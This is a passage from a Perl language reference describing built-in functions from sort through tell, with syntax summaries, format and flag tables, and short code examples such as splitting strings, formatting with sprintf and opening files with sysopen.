Putting it all together, this map-sort-map technique, often referred to as the Schwartzian Transform, can be performed in one statement:
@sorted_lines = map { $_->[0] }
                sort {
                    @a_fields = @$a[1..$#$a];
                    @b_fields = @$b[1..$#$b];

                    $a_fields[3] <=> $b_fields[3]
                        ||
                    $a_fields[0] cmp $b_fields[0]
                        ||
                    $b_fields[2] <=> $a_fields[2]
                        ||
                    ...
                }
                map { [$_, split /:/] } @lines;
Do not declare $a and $b as lexical variables (with my). They are package globals (though they're exempt from the usual restrictions on globals when you're using use strict). You do need to make sure your sort routine is in the same package though, or else qualify $a and $b with the package name of the caller.

That being said, in version 5.6 you can write sort subroutines with the standard argument passing method (and, not coincidentally, use XS subroutines as sort subroutines), provided that you declare the sort subroutine with a prototype of ($$). And if you do that, then you can in fact declare $a and $b as lexicals:

sub numerically ($$) {
        my ($a, $b) = @_;
        $a <=> $b;
}
And someday, when full prototypes are implemented, you'll just say:
sub numerically ($a, $b) { $a <=> $b }
and then we'll be back where we started, more or less.

29.2.160. splice

splice ARRAY, OFFSET, LENGTH, LIST
splice ARRAY, OFFSET, LENGTH
splice ARRAY, OFFSET
splice ARRAY
This function removes the elements designated by OFFSET and LENGTH from an ARRAY, and replaces them with the elements of LIST, if any. If OFFSET is negative, the function counts backward from the end of the array, but if that would land before the beginning of the array, an exception is raised. In list context, splice returns the elements removed from the array. In scalar context, it returns the last element removed, or undef if there was none. If the number of new elements doesn't equal the number of old elements, the array grows or shrinks as necessary, and elements after the splice change their position correspondingly. If LENGTH is omitted, the function removes everything from OFFSET onward. If OFFSET is omitted, the array is cleared as it is read. The following equivalences hold (assuming $[ is 0):

Direct Method | Splice Equivalent
push(@a, $x, $y) | splice(@a, @a, 0, $x, $y)
pop(@a) | splice(@a, -1)
shift(@a) | splice(@a, 0, 1)
unshift(@a, $x, $y) | splice(@a, 0, 0, $x, $y)
$a[$x] = $y | splice(@a, $x, 1, $y)
(@a, @a = ()) | splice(@a)

The splice function is also handy for carving up the argument list passed to a subroutine. For example, assuming list lengths are passed before lists:

sub list_eq {       # compare two list values
    my @a = splice(@_, 0, shift);
    my @b = splice(@_, 0, shift);
    return 0 unless @a == @b;       # same length?
    while (@a) {
        return 0 if pop(@a) ne pop(@b);
    }
    return 1;
}
if (list_eq($len, @foo[1..$len], scalar(@bar), @bar)) { ... }
It would be cleaner to use array references for this, however.

29.2.161. split [taintgray]

split /PATTERN/, EXPR, LIMIT
split /PATTERN/, EXPR
split /PATTERN/
split
This function scans a string given by EXPR for separators, and splits the string into a list of substrings, returning the resulting list value in list context or the count of substrings in scalar context.[11] The separators are determined by repeated pattern matching, using the regular expression given in PATTERN, so the separators may be of any size and need not be the same string on every match. (The separators are not ordinarily returned; exceptions are discussed later in this section.) If the PATTERN doesn't match the string at all, split returns the original string as a single substring. If it matches once, you get two substrings, and so on. You may supply regular expression modifiers to the PATTERN, like /PATTERN/i, /PATTERN/x, etc. The //m modifier is assumed when you split on the pattern /^/.

[11]Scalar context also causes split to write its result to @_, but this usage is deprecated.

If LIMIT is specified and positive, the function splits into no more than that many fields (though it may split into fewer if it runs out of separators). If LIMIT is negative, it is treated as if an arbitrarily large LIMIT has been specified. If LIMIT is omitted or zero, trailing null fields are stripped from the result (which potential users of pop would do well to remember). If EXPR is omitted, the function splits the $_ string. If PATTERN is also omitted or is the literal space, " ", the function splits on whitespace, /\s+/, after skipping any leading whitespace.

Strings of any length can be split:

@chars  = split //,   $word;
@fields = split /:/,  $line;
@words  = split " ",  $paragraph;
@lines  = split /^/,  $buffer;
A pattern capable of matching either the null string or something longer than the null string (for instance, a pattern consisting of any single character modified by a * or ?) will split the value of EXPR into separate characters wherever it matches the null string between characters; non-null matches will skip over the matched separator characters in the usual fashion. (In other words, a pattern won't match in one spot more than once, even if it matched with a zero width.) For example:
print join ':', split / */, 'hi there';
produces the output "h:i:t:h:e:r:e". The space disappears because it matches as part of the separator. As a trivial case, the null pattern // simply splits into separate characters, and spaces do not disappear. (For normal pattern matches, a // pattern would repeat the last successfully matched pattern, but split's pattern is exempt from that wrinkle.)

The LIMIT parameter splits only part of a string:

($login, $passwd, $remainder) = split /:/, $_, 3;
We encourage you to split to lists of names like this in order to make your code self-documenting. (For purposes of error checking, note that $remainder would be undefined if there were fewer than three fields.) When assigning to a list, if LIMIT is omitted, Perl supplies a LIMIT one larger than the number of variables in the list, to avoid unnecessary work. For the split above, LIMIT would have been 4 by default, and $remainder would have received only the third field, not all the rest of the fields. In time-critical applications, it behooves you not to split into more fields than you really need. (The trouble with powerful languages is that they let you be powerfully stupid at times.)

We said earlier that the separators are not returned, but if the PATTERN contains parentheses, then the substring matched by each pair of parentheses is included in the resulting list, interspersed with the fields that are ordinarily returned. Here's a simple example:

split /([-,])/, "1-10,20";
produces the list value:
(1, '-', 10, ',', 20)
With more parentheses, a field is returned for each pair, even if some pairs don't match, in which case undefined values are returned in those positions. So if you say:
split /(-)|(,)/, "1-10,20";
you get the value:
(1, '-', undef, 10, undef, ',', 20)
The /PATTERN/ argument may be replaced with an expression to specify patterns that vary at run time. As with ordinary patterns, to do run-time compilation only once, use /$variable/o.

As a special case, if the expression is a single space (" "), the function splits on whitespace just as split with no arguments does. Thus, split(" ") can be used to emulate awk's default behavior. In contrast, split(/ /) will give you as many null initial fields as there are leading spaces. (Other than this special case, if you supply a string instead of a regular expression, it'll be interpreted as a regular expression anyway.) You can use this property to remove leading and trailing whitespace from a string and to collapse intervening stretches of whitespace into a single space:

$string = join(' ', split(' ', $string));
The following example splits an RFC 822 message header into a hash containing $head{Date}, $head{Subject}, and so on. It uses the trick of assigning a list of pairs to a hash, based on the fact that separators alternate with separated fields. It makes use of parentheses to return part of each separator as part of the returned list value. Since the split pattern is guaranteed to return things in pairs by virtue of containing one set of parentheses, the hash assignment is guaranteed to receive a list consisting of key/value pairs, where each key is the name of a header field. (Unfortunately, this technique loses information for multiple lines with the same key field, such as Received-By lines. Ah, well. . . .)
$header =~ s/\n\s+/ /g;      # Merge continuation lines.
%head = ('FRONTSTUFF', split /^(\S*?):\s*/m, $header);
The following example processes the entries in a Unix passwd(5) file. You could leave out the chomp, in which case $shell would have a newline on the end of it.
open PASSWD, '/etc/passwd';
while (<PASSWD>) {
    chomp;        # remove trailing newline
    ($login, $passwd, $uid, $gid, $gcos, $home, $shell) =
            split /:/;
    ...
}
Here's how to process each word of each line of each file of input to create a word-frequency hash.
while (<>) {
    foreach $word (split) {
        $count{$word}++;
    }
}
The inverse of split is performed by join (except that join can only join with the same separator between all fields). To break apart a string with fixed-position fields, use unpack.

29.2.162. sprintf

sprintf FORMAT, LIST
This function returns a string formatted by the usual printf conventions of the C library function sprintf. See sprintf(3) or printf(3) on your system for an explanation of the general principles. The FORMAT string contains text with embedded field specifiers into which the elements of LIST are substituted, one per field.

Perl does its own sprintf formatting--it emulates the C function sprintf, but it doesn't use it.[12] As a result, any nonstandard extensions in your local sprintf(3) function are not available from Perl.

[12]Except for floating-point numbers, and even then only the standard modifiers are allowed.

Perl's sprintf permits the universally known conversions shown in Table 29-4.

Table 29.4. Formats for sprintf

Field | Meaning
%% | A percent sign
%c | A character with the given number
%s | A string
%d | A signed integer, in decimal
%u | An unsigned integer, in decimal
%o | An unsigned integer, in octal
%x | An unsigned integer, in hexadecimal
%e | A floating-point number, in scientific notation
%f | A floating-point number, in fixed decimal notation
%g | A floating-point number, in %e or %f notation

In addition, Perl permits the following widely supported conversions:

Field | Meaning
%X | Like %x, but using uppercase letters
%E | Like %e, but using an uppercase "E"
%G | Like %g, but with an uppercase "E" (if applicable)
%b | An unsigned integer, in binary
%p | A pointer (outputs the Perl value's address in hexadecimal)
%n | Special: stores the number of characters output so far into the next variable in the argument list

Finally, for backward (and we do mean "backward") compatibility, Perl permits these unnecessary but widely supported conversions:

Field | Meaning
%i | A synonym for %d
%D | A synonym for %ld
%U | A synonym for %lu
%O | A synonym for %lo
%F | A synonym for %f

Perl permits the following universally known flags between the % and the conversion character:

Flag | Meaning
space | Prefix positive number with a space
+ | Prefix positive number with a plus sign
- | Left-justify within the field
0 | Use zeros, not spaces, to right-justify
# | Prefix nonzero octal with "0", nonzero hex with "0x"
number | Minimum field width
.number | "Precision": digits after decimal point for floating-point numbers, maximum length for string, minimum length for integer
l | Interpret integer as C type long or unsigned long
h | Interpret integer as C type short or unsigned short (if no flags are supplied, interpret integer as C type int or unsigned)

There are also two Perl-specific flags:

Flag | Meaning
V | Interpret integer as Perl's standard integer type
v | Interpret string as a vector of integers, output as numbers separated either by dots, or by an arbitrary string received from the argument list when the flag is preceded by *

If your Perl understands "quads" (64-bit integers) either because the platform natively supports them or because Perl has been specifically compiled with that ability, then the characters d u o x X b i D U O print quads, and they may optionally be preceded by ll, L, or q. For example, %lld %16LX %qo.

If Perl understands "long doubles" (this requires that the platform support long doubles), the flags e f g E F G may optionally be preceded by ll or L. For example, %llf %Lg.

Where a number would appear in the flags, an asterisk ("*") may be used instead, in which case Perl uses the next item in the argument list as the given number (that is, as the field width or precision). If a field width obtained through "*" is negative, it has the same effect as the "-" flag: left-justification.

The v flag is useful for displaying ordinal values of characters in arbitrary strings:

sprintf "version is v%vd\n", $^V;           # Perl's version
sprintf "address is %vd\n", $addr;          # IPv4 address
sprintf "address is %*vX\n", ":", $addr;    # IPv6 address
sprintf "bits are %*vb\n", " ", $bits;      # random bit strings

29.2.163. sqrt

sqrt EXPR
sqrt
This function returns the square root of EXPR. For other roots such as cube roots, you can use the ** operator to raise something to a fractional power. Don't try either of these approaches with negative numbers, as that poses a slightly more complex problem (and raises an exception). But there's a standard module to take care of even that:
use Math::Complex;
print sqrt(-2);    # prints 1.4142135623731i

29.2.164. srand

srand EXPR
srand
This function sets the random number seed for the rand operator. If EXPR is omitted, it uses a semirandom value supplied by the kernel (if it supports the /dev/urandom device) or based on the current time and process ID, among other things. It's usually not necessary to call srand at all, because if it is not called explicitly, it is called implicitly at the first use of the rand operator. However, this was not true in versions of Perl prior to 5.004, so if your script needs to run under older Perl versions, it should call srand.

Frequently called programs (like CGI scripts) that simply use time ^ $$ for a seed can fall prey to the mathematical property that a^b == (a+1)^(b+1) one-third of the time. So don't do that. Use this instead:

srand( time() ^ ($$ + ($$ << 15)) );
You'll need something much more random than the default seed for cryptographic purposes. On some systems the /dev/random device is suitable. Otherwise, checksumming the compressed output of one or more rapidly changing operating system status programs is the usual method. For example:
srand (time ^ $$ ^ unpack "%32L*", `ps wwaxl | gzip`);
If you're particularly concerned with this, see the Math::TrulyRandom module in CPAN.

Do not call srand multiple times in your program unless you know exactly what you're doing and why you're doing it. The point of the function is to "seed" the rand function so that rand can produce a different sequence each time you run your program. Just do it once at the top of your program, or you won't get random numbers out of rand!

29.2.165. stat

stat FILEHANDLE
stat EXPR
stat
In scalar context, this function returns a Boolean value that indicates whether the call succeeded. In list context, it returns a 13-element list giving the statistics for a file, either the file opened via FILEHANDLE, or named by EXPR. It's typically used as follows:
($dev,$ino,$mode,$nlink,$uid,$gid,$rdev,$size,
    $atime,$mtime,$ctime,$blksize,$blocks)
            = stat $filename;
Not all fields are supported on all filesystem types; unsupported fields return 0. Table 29-5 lists the meanings of the fields.

Table 29.5. Fields Returned by stat

Index | Field | Meaning
0 | $dev | Device number of filesystem
1 | $ino | Inode number
2 | $mode | File mode (type and permissions)
3 | $nlink | Number of (hard) links to the file
4 | $uid | Numeric user ID of file's owner
5 | $gid | Numeric group ID of file's designated group
6 | $rdev | The device identifier (special files only)
7 | $size | Total size of file, in bytes
8 | $atime | Last access time in seconds since the epoch
9 | $mtime | Last modify time in seconds since the epoch
10 | $ctime | Inode change time (not creation time!) in seconds since the epoch
11 | $blksize | Preferred blocksize for file system I/O
12 | $blocks | Actual number of blocks allocated

$dev and $ino, taken together, uniquely identify a file on the same system. The $blksize and $blocks are likely defined only on BSD-derived filesystems. The $blocks field (if defined) is reported in 512-byte blocks. The value of $blocks*512 can differ greatly from $size for files containing unallocated blocks, or "holes", which aren't counted in $blocks.

If stat is passed the special filehandle consisting of an underline, no actual stat(2) is done, but the current contents of the stat structure from the last stat, lstat, or stat-based file test operator (such as -r, -w, and -x) are returned.

Because the mode contains both the file type and its permissions, you should mask off the file type portion and printf or sprintf using a "%o" if you want to see the real permissions:

$mode = (stat($filename))[2];
printf "Permissions are %04o\n", $mode & 07777;
The File::stat module provides a convenient, by-name access mechanism:
use File::stat;
$sb = stat($filename);
printf "File is %s, size is %s, perm %04o, mtime %s\n",
   $filename, $sb->size, $sb->mode & 07777,
   scalar localtime $sb->mtime;
You can also import symbolic definitions of the various mode bits from the Fcntl module. See the online documentation for more details.

Hint: if you need only the size of the file, check out the -s file test operator, which returns the size in bytes directly. There are also file tests that return the ages of files in days.

29.2.166. study

study SCALAR
study
This function takes extra time in order to study SCALAR in anticipation of doing many pattern matches on the string before it is next modified. This may or may not save time, depending on the nature and number of patterns you are searching on, and on the distribution of character frequencies in the string to be searched--you probably want to compare run times with and without it to see which runs faster. Those loops that scan for many short constant strings (including the constant parts of more complex patterns) will benefit most from study. If all your pattern matches are constant strings anchored at the front, study won't help at all, because no scanning is done. You may have only one study active at a time--if you study a different scalar the first is "unstudied".

The way study works is this: a linked list of every character in the string to be searched is made, so we know, for example, where all the "k" characters are. From each search string, the rarest character is selected, based on some static frequency tables constructed from some C programs and English text. Only those places that contain this rarest character are examined.

For example, here is a loop that inserts index-producing entries before any line containing a certain pattern:

while (<>) {
    study;
    print ".IX foo\n"      if /\bfoo\b/;
    print ".IX bar\n"      if /\bbar\b/;
    print ".IX blurfl\n"   if /\bblurfl\b/;
    ...
    print;
}
In searching for /\bfoo\b/, only those locations in $_ that contain "f" will be looked at, because "f" is rarer than "o". This is a big win except in pathological cases. The only question is whether it saves you more time than it took to build the linked list in the first place.

If you have to look for strings that you don't know until run time, you can build an entire loop as a string and eval that to avoid recompiling all your patterns all the time. Together with setting $/ to input entire files as one record, this can be very fast, often faster than specialized programs like fgrep(1). The following scans a list of files (@files) for a list of words (@words), and prints out the names of those files that contain a case-insensitive match:

$search = 'while (<>) { study;';
foreach $word (@words) {
    $search .= "++\$seen{\$ARGV} if /\\b$word\\b/i;\n";
}
$search .= "}";
@ARGV = @files;
undef $/;               # slurp each entire file
eval $search;           # this screams
die $@ if $@;           # in case eval failed
$/ = "\n";              # restore normal input terminator
foreach $file (sort keys(%seen)) {
    print "$file\n";
}
Now that we have the qr// operator, complicated run-time evals as seen above are less necessary. This does the same thing:
@pats = ();
foreach $word (@words) {
    push @pats, qr/\b${word}\b/i;
}
@ARGV = @files;
undef $/;               # slurp each entire file
while (<>) {
    for $pat (@pats) {
        $seen{$ARGV}++ if /$pat/;
    }
}
$/ = "\n";              # restore normal input terminator
foreach $file (sort keys(%seen)) {
    print "$file\n";
}

29.2.167. sub

Named declarations:

sub NAME PROTO ATTRS
sub NAME ATTRS
sub NAME PROTO
sub NAME
Named definitions:
sub NAME PROTO ATTRS BLOCK
sub NAME ATTRS BLOCK
sub NAME PROTO BLOCK
sub NAME BLOCK
Unnamed definitions:
sub PROTO ATTRS BLOCK
sub ATTRS BLOCK
sub PROTO BLOCK
sub BLOCK
The syntax of subroutine declarations and definitions looks complicated, but is actually pretty simple in practice. Everything is based on the syntax:
sub NAME PROTO ATTRS BLOCK
All four fields are optional; the only restrictions are that the fields that do occur must occur in that order, and that you must use at least one of NAME or BLOCK. For the moment, we'll ignore the PROTO and ATTRS; they're just modifiers on the basic syntax. The NAME and the BLOCK are the important parts to get straight:

  • If you just have a NAME and no BLOCK, it's a declaration of that name (and if you ever want to call the subroutine, you'll have to supply a definition with both a NAME and a BLOCK later). Named declarations are useful because the parser treats a name specially if it knows it's a user-defined subroutine. You can call such a subroutine either as a function or as an operator, just like built-in functions. These are sometimes called forward declarations.

  • If you have both a NAME and a BLOCK, it's a standard named subroutine definition (and a declaration too, if you didn't declare the name previously). Named definitions are useful because the BLOCK associates an actual meaning (the body of the subroutine) with the declaration. That's all we mean when we say it defines the subroutine rather than just declaring it. The definition is like the declaration, however, in that the surrounding code doesn't see it, and it returns no inline value by which you could reference the subroutine.

  • If you have just have a BLOCK without a NAME, it's a nameless definition, that is, an anonymous subroutine. Since it doesn't have a name, it's not a declaration at all, but a real operator that returns a reference to the anonymous subroutine body at run time. This is extremely useful for treating code as data. It allows you to pass odd chunks of code around to be used as callbacks, and maybe even as closures if the sub definition operator refers to any lexical variables outside of itself. That means that different calls to the same sub operator will do the bookkeeping necessary to keep the correct "version" of each such lexical variable in sight for the life of the closure, even if the original scope of the lexical variable has been destroyed.

In any of these three cases, either one or both of the PROTO and ATTRS may occur after the NAME and/or before the BLOCK. A prototype is a list of characters in parentheses that tell the parser how to treat arguments to the function. Attributes are introduced by a colon and supply additional information to the parser about the function. Here's a typical definition that includes all four fields:

sub numstrcmp ($$) : locked {
    my ($a, $b) = @_;
    return $a <=> $b || $a cmp $b;
}
For details on attribute lists and their manipulation, see the attributes pragma in Chapter 31, "Pragmatic Modules". See also Chapter 6, "Subroutines" and "Anonymous Subroutines" in Chapter 8, "References".

29.2.168. substr

substr EXPR, OFFSET, LENGTH, REPLACEMENT
substr EXPR, OFFSET, LENGTH
substr EXPR, OFFSET
This function extracts a substring out of the string given by EXPR and returns it. The substring is extracted starting at OFFSET characters from the front of the string. (Note: if you've messed with $[, the beginning of the string isn't at 0, but since you haven't messed with it (have you?), it is.) If OFFSET is negative, the substring starts that far from the end of the string instead. If LENGTH is omitted, everything to the end of the string is returned. If LENGTH is negative, the length is calculated to leave that many characters off the end of the string. Otherwise, LENGTH indicates the length of the substring to extract, which is sort of what you'd expect.

You may use substr as an lvalue (something to assign to), in which case EXPR must also be a legal lvalue. If you assign something shorter than the length of your substring, the string will shrink, and if you assign something longer than the length, the string will grow to accommodate it. To keep the string the same length, you may need to pad or chop your value using sprintf or the x operator. If you attempt to assign to an unallocated area past the end of the string, substr raises an exception.

To prepend the string "Larry" to the current value of $_, use:

substr($var, 0, 0) = "Larry";
To instead replace the first character of $_ with "Moe", use:
substr($var, 0, 1) = "Moe";
And finally, to replace the last character of $var with "Curly", use:
substr($var, -1) = "Curly";
An alternative to using substr as an lvalue is to specify the REPLACEMENT string as the fourth argument. This allows you to replace parts of the EXPR and return what was there before in one operation, just as you can with splice. The next example also replaces the last character of $var with "Curly" and puts that replaced character into $oldstr:
$oldstr = substr($var, -1, 1, "Curly");
You don't have to use lvalue substr only with assignment. This replaces any spaces with dots, but only in the last 10 characters in the string:
substr($var, -10) =~ s/ /./g;

29.2.169. symlink

symlink OLDNAME, NEWNAME
This function creates a new filename symbolically linked to the old filename. The function returns true for success, false otherwise. On systems that don't support symbolic links, it raises an exception at run time. To check for that, use eval to trap the potential error:
$can_symlink = eval { symlink("",""); 1 };
Or use the Config module. Be careful if you supply a relative symbolic link, since it'll be interpreted relative to the location of the symbolic link itself, not to your current working directory.

See also link and readlink earlier in this chapter.

29.2.170. syscall

syscall LIST
This function calls the system call (meaning a syscall, not a shell command) specified as the first element of the list passes the remaining elements as arguments to the system call. (Many of these calls are now more readily available through modules like POSIX.) The function raises an exception if syscall(2) is unimplemented.

The arguments are interpreted as follows: if a given argument is numeric, the argument is passed as a C integer. If not, a pointer to the string value is passed. You are responsible for making sure the string is long enough to receive any result that might be written into it; otherwise, you're looking at a core dump. You can't use a string literal (or other read-only string) as an argument to syscall because Perl has to assume that any string pointer might be written through. If your integer arguments are not literals and have never been interpreted in a numeric context, you may need to add 0 to them to force them to look like numbers.

syscall returns whatever value was returned by the system call invoked. By C coding conventions, if that system call fails, syscall returns -1 and sets $! (errno). Some system calls legitimately return -1 if successful. The proper way to handle such calls is to assign $!=0; before the call and check the value of $! if syscall returns -1.

Not all system calls can be accessed this way. For example, Perl supports passing up to 14 arguments to your system call, which in practice should usually suffice. However, there's a problem with syscalls that return multiple values. Consider syscall(&SYS_pipe): it returns the file number of the read end of the pipe it creates. There is no way to retrieve the file number of the other end. You can avoid this instance of the problem by using pipe instead. To solve the generic problem, write XSUBs (external subroutine modules, a dialect of C) to access the system calls directly. Then put your new module onto CPAN, and become wildly popular.

The following subroutine returns the current time as a floating-point number rather than as integer seconds as time returns. (It will only work on machines that support the gettimeofday(2) syscall.)

sub finetime() {
    package main;   # for next require
    require 'syscall.ph';
    # presize buffer to two 32-bit longs...
    my $tv = pack("LL", ());
    syscall(&SYS_gettimeofday, $tv, undef) >= 0
        or die "gettimeofday: $!";
    my($seconds, $microseconds) = unpack("LL", $tv);
    return $seconds + ($microseconds / 1_000_000);
}
Suppose Perl didn't support the setgroups(2) syscall,[13] but your kernel did. You could still get at it this way:
require 'syscall.ph';
syscall(&SYS_setgroups, scalar @newgids, pack("i*", @newgids))
        or die "setgroups: $!";
You may have to run h2ph as indicated in the Perl installation instructions for syscall.ph to exist. Some systems may require a pack template of "II" instead. Even more disturbing, syscall assumes the size equivalence of the C types int, long, and char*. Try not to think of syscall as the epitome of portability.

[13]Although through $(, it does.

See the Time::HiRes module from CPAN for a more rigorous approach to fine-grained timing issues.

29.2.171. sysopen

sysopen FILEHANDLE, FILENAME, MODE, MASK
sysopen FILEHANDLE, FILENAME, MODE
The sysopen function opens the file whose filename is given by FILENAME and associates it with FILEHANDLE. If FILEHANDLE is an expression, its value is used as the name of, or reference to, the filehandle. If FILEHANDLE is a variable whose value is undefined, a value will be created for you. The return value is true if the call succeeds, false otherwise.

This function is a direct interface to your operating system's open(2) syscall followed by an fdopen(3) library call. As such, you'll need to pretend you're a C programmer for a bit here. The possible values and flag bits of the MODE parameter are available through the Fcntl module. Because different systems support different flags, don't count on all of them being available on your system. Consult your open(2) manpage or its local equivalent for details. Nevertheless, the following flags should be present on any system with a reasonably standard C library:

Flag | Meaning
O_RDONLY | Read only.
O_WRONLY | Write only.
O_RDWR | Read and write.
O_CREAT | Create the file if it doesn't exist.
O_EXCL | Fail if the file already exists.
O_APPEND | Append to the file.
O_TRUNC | Truncate the file.
O_NONBLOCK | Nonblocking access.

Many other options are possible, however. Here are some less common flags:

Flag | Meaning
O_NDELAY | Old synonym for O_NONBLOCK.
O_SYNC | Writes block until data is physically written to the underlying hardware. O_ASYNC, O_DSYNC, and O_RSYNC may also be seen.
O_EXLOCK | flock with LOCK_EX (advisory only).
O_SHLOCK | flock with LOCK_SH (advisory only).
O_DIRECTORY | Fail if the file is not a directory.
O_NOFOLLOW | Fail if the last path component is a symbolic link.
O_BINARY | binmode the handle for Microsoft systems. An O_TEXT may also sometimes exist to get the opposite behavior.
O_LARGEFILE | Some systems need this for files over 2 GB.
O_NOCTTY | Opening a terminal file won't make that terminal become the process's controlling terminal if you don't have one yet. Usually no longer needed.

The O_EXCL flag is not for locking: here, exclusiveness means that if the file already exists, sysopen fails.

If the file named by FILENAME does not exist and the MODE includes the O_CREAT flag, then sysopen creates the file with initial permissions determined by the MASK argument (or 0666 if omitted) as modified by your process's current umask. This default is reasonable: see the entry on umask for an explanation.

Filehandles opened with open and sysopen may be used interchangeably. You do not need to use sysread and friends just because you happened to open the file with sysopen, nor are you precluded from doing so if you opened it with open. Both can do things that the other can't. Regular open can open pipes, fork processes, set disciplines, duplicate file handles, and convert a file descriptor number into a filehandle. It also ignores leading and trailing whitespace in filenames and respects "-" as a special filename. But when it comes to opening actual files, sysopen can do anything that open can.

The following examples show equivalent calls to both functions. We omit the or die $! checks for clarity, but make sure to always check return values in your programs. We'll restrict ourselves to using only flags available on virtually all operating systems. It's just a matter of controlling the values that you OR together using the bitwise | operator to pass in MODE argument.

  • Open a file for reading:

    open(FH, "<", $path);
sysopen(FH, $path, O_RDONLY);

  • Open a file for writing, creating a new file if needed, or truncating an old file:

    open(FH, ">", $path);
sysopen(FH, $path, O_WRONLY | O_TRUNC | O_CREAT);

  • Open a file for appending, creating one if necessary:

    open(FH, ">>", $path);
sysopen(FH, $path, O_WRONLY | O_APPEND | O_CREAT);

  • Open a file for update, where the file must already exist:

    open(FH, "+<", $path);
sysopen(FH, $path, O_RDWR);

And here are things you can do with sysopen but not with regular open:

  • Open and create a file for writing, which must not previously exist:

    sysopen(FH, $path, O_WRONLY | O_EXCL | O_CREAT);

  • Open a file for appending, which must already exist:

    sysopen(FH, $path, O_WRONLY | O_APPEND);

  • Open a file for update, creating a new file if necessary:

    sysopen(FH, $path, O_RDWR | O_CREAT);

  • Open a file for update, which must not already exist:

    sysopen(FH, $path, O_RDWR | O_EXCL | O_CREAT);

  • Open a write-only file without blocking, but not creating it if it doesn't exist:

    sysopen(FH, $path, O_WRONLY | O_NONBLOCK);

The FileHandle module described in Chapter 32, "Standard Modules" provides a set of object-oriented synonyms (plus a small bit of new functionality) for opening files. You are welcome to call the appropriate FileHandle methods[14] on any handle created with open, sysopen, pipe, socket, or accept, even if you didn't use the module to initialize those handles.

[14]Really IO::File or IO::Handle methods.

29.2.172. sysread [taintgray]

sysread FILEHANDLE, SCALAR, LENGTH, OFFSET
sysread FILEHANDLE, SCALAR, LENGTH
This function attempts to read LENGTH bytes of data into variable SCALAR from the specified FILEHANDLE using a low-level syscall, read(2). The function returns the number of bytes read, or 0 at EOF.[15] The sysread function returns undef on error. SCALAR will grow or shrink to the length actually read. The OFFSET, if specified, says where in the string to start putting the bytes, so that you can read into the middle of a string that's being used as a buffer. For an example of using OFFSET, see syswrite. An exception is raised if LENGTH is negative or if OFFSET points outside the string.

[15]There is no syseof function, which is okay, since eof doesn't work well on device files (like terminals) anyway. Use sysread and check for a return value for 0 to decide whether you're done.

You should be prepared to handle the problems (like interrupted syscalls) that standard I/O normally handles for you. Because it bypasses standard I/O, do not mix sysread with other kinds of reads, print, printf, write, seek, tell, or eof on the same filehandle unless you are into heavy wizardry (and/or pain). Also, please be aware that, when reading from a file containing Unicode or any other multibyte encoding, the buffer boundary may fall in the middle of a character.

29.2.173. sysseek

sysseek FILEHANDLE, POSITION, WHENCE
This function sets FILEHANDLE's system position using the syscall lseek(2). It bypasses standard I/O, so mixing this with reads (other than sysread), print, write, seek, tell, or eof may cause confusion. FILEHANDLE may be an expression whose value gives the name of the filehandle. The values for WHENCE are 0 to set the new position to POSITION, 1 to set the it to the current position plus POSITION, and 2 to set it to EOF plus POSITION (typically negative). For WHENCE, you may use the constants SEEK_SET, SEEK_CUR, and SEEK_END from the standard IO::Seekable and POSIX modules--or, as of the 5.6 release, from Fcntl, which is more portable and convenient.

Returns the new position, or undef on failure. A position of zero is returned as the special string "0 but true", which can be used numerically without producing warnings.

29.2.174. system

system PATHNAME LIST
system LIST
This function executes any program on the system for you and returns that program's exit status--not its output. To capture the output from a command, use backticks or qx// instead. The system function works exactly like exec, except that system does a fork first and then, after the exec, waits for the executed program to complete. That is, it runs the program for you and returns when it's done, whereas exec replaces your running program with the new one, so it never returns if the replacement succeeds.

Argument processing varies depending on the number of arguments, as described under exec, including determining whether the shell will be called and whether you've lied to the program about its name by specifying a separate PATHNAME.

Because system and backticks block SIGINT and SIGQUIT, sending one of those signals (such as from a Control-C) to the program being run doesn't interrupt your main program. But the other program you're running does get the signal. Check the return value from system to see whether the program you were running exited properly or not.

@args = ("command", "arg1", "arg2");
system(@args) == 0
     or die "system @args failed: $?"
The return value is the exit status of the program as returned through the wait(2) syscall. Under traditional semantics, to get the real exit value, divide by 256 or shift right by 8 bits. That's because the lower byte has something else in it. (Two somethings, really.) The lowest seven bits indicate the signal number that killed the process (if any), and the eighth bit indicates whether the process dumped core. You can check all possible failure possibilities, including signals and core dumps, by inspecting $? ($CHILD_ERROR):
$exit_value  = $? >> 8;
$signal_num  = $? & 127;    # or 0x7f, or 0177, or 0b0111_1111
$dumped_core = $? & 128;    # or 0x80, or 0200, or 0b1000_0000
When the program has been run through the system shell[16] because you had only one argument and that argument had shell metacharacters in it, normal return codes are subject to that shell's additional quirks and capabilities. In other words, under those circumstances, you may be unable to recover the detailed information described earlier.

[16]That's /bin/sh by definition, or whatever makes sense on your platform, but not whatever shell the user just happens to be using at the time.

29.2.175. syswrite

syswrite FILEHANDLE, SCALAR, LENGTH, OFFSET
syswrite FILEHANDLE, SCALAR, LENGTH
syswrite FILEHANDLE, SCALAR
This function attempts to write LENGTH bytes of data from variable SCALAR to the specified FILEHANDLE using the write(2) syscall. The function returns the number of bytes written, or undef on error. The OFFSET, if specified, says where in the string to start writing from. (You might do this if you were using the string as a buffer, for instance, or if you needed to recover from a partial write.) A negative OFFSET specifies that writing should start that many bytes backward from the end of the string. If SCALAR is empty, the only OFFSET permitted is 0. An exception is raised if LENGTH is negative or if OFFSET points outside the string.

To copy data from filehandle FROM into filehandle TO, you can use something like:

use Errno qw/EINTR/;
$blksize = (stat FROM)[11] || 16384;  # preferred block size?
while ($len = sysread FROM, $buf, $blksize) {
    if (!defined $len) {
        next if $! == EINTR;
        die "System read error: $!\n";
    }
    $offset = 0;
    while ($len) {          # Handle partial writes.
        $written = syswrite TO, $buf, $len, $offset;
        die "System write error: $!\n" unless defined $written;
        $offset += $written;
        $len    -= $written;
    }
}
You must be prepared to handle the problems that standard I/O normally handles for you, such as partial writes. Because syswrite bypasses the C standard I/O library, do not mix calls to it with reads (other than sysread), writes (like print, printf, or write), or other stdio functions like seek, tell, or eof unless you are into heavy wizardry.[17]

[17]Or pain.

29.2.176. tell

tell FILEHANDLE
tell
This function returns the current file position (in bytes, zero-based) for FILEHANDLE. This value typically will be fed to the seek function at some future time to get back to the current position. FILEHANDLE may be an expression giving the name of the actual filehandle, or a reference to a filehandle object. If FILEHANDLE is omitted, the function returns the position of the file last read. File positions are only meaningful on regular files. Devices, pipes, and sockets have no file position.

There is no systell function. Use sysseek(FH, 0, 1) for that. Seek seek for an example telling how to use tell.

29.2.177. telldir

telldir DIRHANDLE
